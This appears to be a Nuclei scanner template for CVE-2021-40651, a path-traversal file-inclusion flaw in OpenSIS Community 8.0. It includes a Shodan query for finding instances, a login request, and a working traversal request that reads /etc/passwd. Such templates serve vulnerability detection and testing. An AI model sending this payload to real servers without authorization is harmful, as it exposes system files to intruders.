45 lines
1.7 KiB
YAML
45 lines
1.7 KiB
YAML
id: CVE-2021-40651
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info:
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name: OS4Ed OpenSIS Community 8.0 - Local File Inclusion
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author: ctflearner
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severity: medium
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description: |
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OS4Ed OpenSIS Community 8.0 is vulnerable to a local file inclusion vulnerability in Modules.php (modname parameter), which can disclose arbitrary file from the server's filesystem as long as the application has access to the file.
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reference:
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- https://www.exploit-db.com/exploits/50259
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- https://github.com/MiSERYYYYY/Vulnerability-Reports-and-Disclosures/blob/main/OpenSIS-Community-8.0.md
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- https://www.youtube.com/watch?v=wFwlbXANRCo
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- https://nvd.nist.gov/vuln/detail/CVE-2021-40651
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 6.5
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cve-id: CVE-2021-40651
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cwe-id: CWE-22
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cpe: cpe:2.3:a:os4ed:opensis:8.0:*:*:*:community:*:*:*
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metadata:
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shodan-query: "title:\"openSIS\""
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max-request: 2
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tags: cve,cve2021,lfi,os4ed,opensis,authenticated
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http:
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- raw:
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POST /index.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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USERNAME={{username}}&PASSWORD={{password}}&language=en&log=
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- |
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GET /Modules.php?modname=miscellaneous%2fPortal.php..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&failed_login= HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- "regex('root:.*:0:0:', body)"
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- 'contains(body_1, "openSIS")'
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- "status_code == 200"
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condition: and
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# digest: 490a004630440220206394b303ab92ce65590e2c61e6eb5e9914219a5a0651ae69009a3f224109ff02207e729d1c062d3bd2e445a39a036992cc281564407a764e7f7ced5f02879f1034:922c64590222798bb761d5b6d8e72950 |